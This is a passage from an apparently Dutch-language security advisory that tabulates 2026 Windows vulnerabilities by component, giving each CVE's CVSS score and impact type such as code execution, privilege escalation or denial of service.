CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              